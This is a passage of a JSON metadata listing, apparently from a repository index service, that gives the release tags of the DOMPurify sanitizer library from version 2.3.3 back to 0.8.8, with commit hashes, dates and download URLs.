anifests"},{"name":"2.3.3","sha":"7fbe07c632906a7ca3b9534fc00e7c12ce2e25e9","kind":"commit","published_at":"2021-09-20T12:27:26.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.3/manifests"},{"name":"2.3.2","sha":"6fb973e4e58eca14830c980f0e8d98da09ef2ef2","kind":"commit","published_at":"2021-09-15T15:20:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.2/manifests"},{"name":"2.3.1","sha":"6cfcdf56269b892550af80baa7c1fa5b680e5db7","kind":"commit","published_at":"2021-08-13T14:43:20.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"e15ae1e91e0ffb469f3e10131f05e53e29e9bd7e","kind":"commit","published_at":"2021-07-06T10:23:48.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.0/manifests"},{"name":"2.2.9","sha":"9de5b19e5d701db408318df0f2935c74b25b7b09","kind":"commit","published_at":"2021-06-01T10:31:24.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.9/manifests"},{"name":"2.2.8","sha":"1bf9e2a4b0dae8b2dea57fe97cf110d5b07cd494","kind":"commit","published_at":"2021-04-28T07:42:09.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.8/manifests"},{"name":"2.2.7","sha":"a9ad5be0fc28e523a07cfca72e58829cecfd491a","kind":"commit","published_at":"2021-03-12T15:19:17.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.7/manifests"},{"name":"2.2.6","sha":"b11cb72fd45b9489ad989517e22b6141743a9fa3","kind":"commit","published_at":"2020-12-18T15:12:06.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.6/manifests"},{"name":"2.2.4","sha":"499b3bbe44e316449b6a05afb655391a9d55cee9","kind":"commit","published_at":"2020-12-15T16:33:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.4/manifests"},{"name":"2.2.3","sha":"e7086f7e40362923db596dce284c689e8db5faec","kind":"commit","published_at":"2020-12-07T13:25:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.3/manifests"},{"name":"2.2.2","sha":"7923e106c3ccfd0315ec008d5793976099baeabd","kind":"commit","published_at":"2020-11-02T20:01:55.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.2/manifests"},{"name":"2.2.0","sha":"0e31dce1cb7b3da5305e09b502a576d80457bde2","kind":"commit","published_at":"2020-10-21T07:24:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.0/manifests"},{"name":"2.1.1","sha":"32b3241855857b0825d964b1871778bde5bab0fa","kind":"commit","published_at":"2020-09-25T11:12:32.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.1.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.1/manifests"},{"name":"2.1.0","sha":"1f1c1193685dc1654dcc2b3cc1d993859a1375c8","kind":"commit","published_at":"2020-09-23T08:32:50.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.1.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.0/manifests"},{"name":"2.0.17","sha":"f04574b5c1761ace5fa4c60f3e452c0c2eb02ff4","kind":"commit","published_at":"2020-09-20T08:43:26.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.17","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.17/manifests"},{"name":"2.0.16","sha":"63061bf434836904e73404682ad6fe1e64f8e09d","kind":"commit","published_at":"2020-09-18T12:23:32.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.16","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.16/manifests"},{"name":"2.0.15","sha":"c025bc8070a5a8fc2c5550d177a4130d45691b94","kind":"commit","published_at":"2020-09-03T10:06:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.15","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.15/manifests"},{"name":"2.0.14","sha":"77a7fe730250f1171368c4a0d8f54f5edf4e02a1","kind":"commit","published_at":"2020-08-27T20:59:21.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.14","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.14/manifests"},{"name":"2.0.13","sha":"7491db173013b098402e1f073a20c79e2dc03010","kind":"commit","published_at":"2020-08-27T14:38:06.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.13","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.13/manifests"},{"name":"2.0.12","sha":"05bf3fc4dce98b0f182b8b988f9d39264144b3be","kind":"commit","published_at":"2020-06-24T14:28:20.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.12","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.12/manifests"},{"name":"2.0.11","sha":"afefcdd27805f707d29f20317b8fa18007b1e169","kind":"commit","published_at":"2020-05-06T17:06:46.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.11/manifests"},{"name":"2.0.10","sha":"32fba332eec78b9fd79187cb9d23d3a13f412271","kind":"commit","published_at":"2020-04-23T11:53:49.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.10/manifests"},{"name":"2.0.9","sha":"22ea2c2b3a032a3e0c0ce6e9f424c18b8480a9b8","kind":"commit","published_at":"2020-04-22T14:38:06.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.9/manifests"},{"name":"2.0.8","sha":"211f0c899136145c3ecc8df4bfff1548946263e2","kind":"commit","published_at":"2020-02-01T18:15:50.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.8/manifests"},{"name":"2.0.7","sha":"da4663394f59cfbd313996b858cf499689be76c3","kind":"commit","published_at":"2019-10-21T09:54:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.7/manifests"},{"name":"2.0.6","sha":"7acc4c3ed529c31b9632cb5784b3ddd50c32b4f4","kind":"commit","published_at":"2019-10-10T08:40:35.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.6/manifests"},{"name":"2.0.5","sha":"64fe2f0a94a7b639eb92f247f712362f53593569","kind":"commit","published_at":"2019-10-08T08:34:42.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.5/manifests"},{"name":"2.0.4","sha":"5476eb9cf075a6621e81b3bf2ce576bbf7701640","kind":"commit","published_at":"2019-10-07T13:20:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"d16ba745e2aa7ebb430c7cb87a35581162a2a08e","kind":"commit","published_at":"2019-09-25T12:04:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.3/manifests"},{"name":"2.0.2","sha":"ffac2ce28b3f79cc2fc0673020534236edd5ad7b","kind":"commit","published_at":"2019-09-23T06:42:04.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.2/manifests"},{"name":"2.0.1","sha":"4c8ca9db5b4b2a79ed6c779ac6f22587ba16a3e1","kind":"commit","published_at":"2019-09-19T09:09:17.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"41766f5527233fc378b49a4d11b3ad9dc5775882","kind":"commit","published_at":"2019-09-12T16:35:58.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.0/manifests"},{"name":"1.0.11","sha":"3c1c0d7e11cda896b0c69cf82e0ca6e0c0e7dd38","kind":"commit","published_at":"2019-06-18T13:33:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.11/manifests"},{"name":"1.0.10","sha":"b537cab466329b1b077e0e5e3c14edad2b7142f7","kind":"commit","published_at":"2019-02-19T13:27:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.10/manifests"},{"name":"1.0.9","sha":"b06b6b2ac8605b88e08ff36f895097fde8c9e8f5","kind":"commit","published_at":"2019-01-14T08:58:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.9/manifests"},{"name":"1.0.8","sha":"26e6a292cf80ad21afc07de4b4b6b9bd7940ea2c","kind":"commit","published_at":"2018-09-08T14:13:40.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.8/manifests"},{"name":"1.0.7","sha":"7e8d6b75cf0f8486509538120cc1cd28c7d70273","kind":"commit","published_at":"2018-07-29T14:20:08.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.7/manifests"},{"name":"1.0.6","sha":"fcf8bffeab97bc1d2d60f4ff41b94e4f40463d3c","kind":"commit","published_at":"2018-07-16T12:17:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.6/manifests"},{"name":"1.0.5","sha":"3553b54c883197a51213a178e3584ae0a7e777cf","kind":"commit","published_at":"2018-06-16T13:26:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.5/manifests"},{"name":"1.0.4","sha":"e7a1c316269bc0f6dd2698c3a7571bc4b561d892","kind":"commit","published_at":"2018-04-28T12:57:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.4/manifests"},{"name":"1.0.3","sha":"ee5d83849103046da62ef8439d3ecac564761615","kind":"commit","published_at":"2017-12-08T10:55:28.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.3/manifests"},{"name":"1.0.2","sha":"7ba76fe0d11b5b75485fdeedcf1dbb9050c66ac0","kind":"commit","published_at":"2017-08-25T14:19:57.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"19f8c6fce0b4cbb3f16a4089ef77f69be3c8645f","kind":"commit","published_at":"2017-08-21T07:00:15.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"4d0115a125b295e8b8e9fe4353222da53e543ba0","kind":"commit","published_at":"2017-08-15T15:11:14.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.0/manifests"},{"name":"0.9.0","sha":"d91304b6aa24529521a34dfbe247369db23a8a88","kind":"commit","published_at":"2017-05-18T14:11:08.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.9.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.9.0/manifests"},{"name":"0.8.9","sha":"4465943c936b90fa966776d95dc360917801d80f","kind":"commit","published_at":"2017-05-03T06:20:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0.8.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/0.8.9/manifests"},{"name":"0.8.8","sha":"da2484d19b61b5eb35a8dad3460f0b193ac8cb2c","kind":"commit","published_at":"2017-04-25T07:45:59.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/0.8.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/0.8.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@0